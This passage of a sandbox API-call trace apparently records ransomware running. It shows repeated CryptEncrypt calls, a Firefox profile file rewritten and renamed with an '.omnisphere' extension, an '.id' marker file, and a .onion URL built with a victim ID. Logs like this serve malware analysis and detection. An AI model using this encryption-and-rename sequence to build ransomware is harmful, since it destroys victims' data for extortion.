pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.887] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.888] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.889] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.890] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.892] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.892] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0161.892] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x198a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.892] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0161.893] GetProcessHeap () returned 0x1600000 [0161.893] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x370) returned 0x174cb18 [0161.893] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.omnisphere")) returned 1 [0161.894] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.omnisphere.id" [0161.894] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0161.895] WriteFile (in: hFile=0x394, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0161.896] CloseHandle (hObject=0x394) returned 1 [0161.896] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.896] CloseHandle (hObject=0x398) returned 1 [0161.896] SetEndOfFile (hFile=0x3b4) returned 1 [0161.896] FlushFileBuffers (hFile=0x3b4) returned 1 [0161.936] CloseHandle (hObject=0x3b4) returned 1 [0161.936] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09") returned 1 [0161.936] GetProcessHeap () returned 0x1600000 [0161.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174d150 [0161.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.936] GetProcessHeap () returned 0x1600000 [0161.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733e00 [0161.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733e00, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.937] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.937] GetProcessHeap () returned 0x1600000 [0161.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17268d8 [0161.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17268d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.937] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.937] GetProcessHeap () returned 0x1600000 [0161.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x110) returned 0x174ce90 [0161.937] PathCombineW (in: pszDest=0x174ce90, 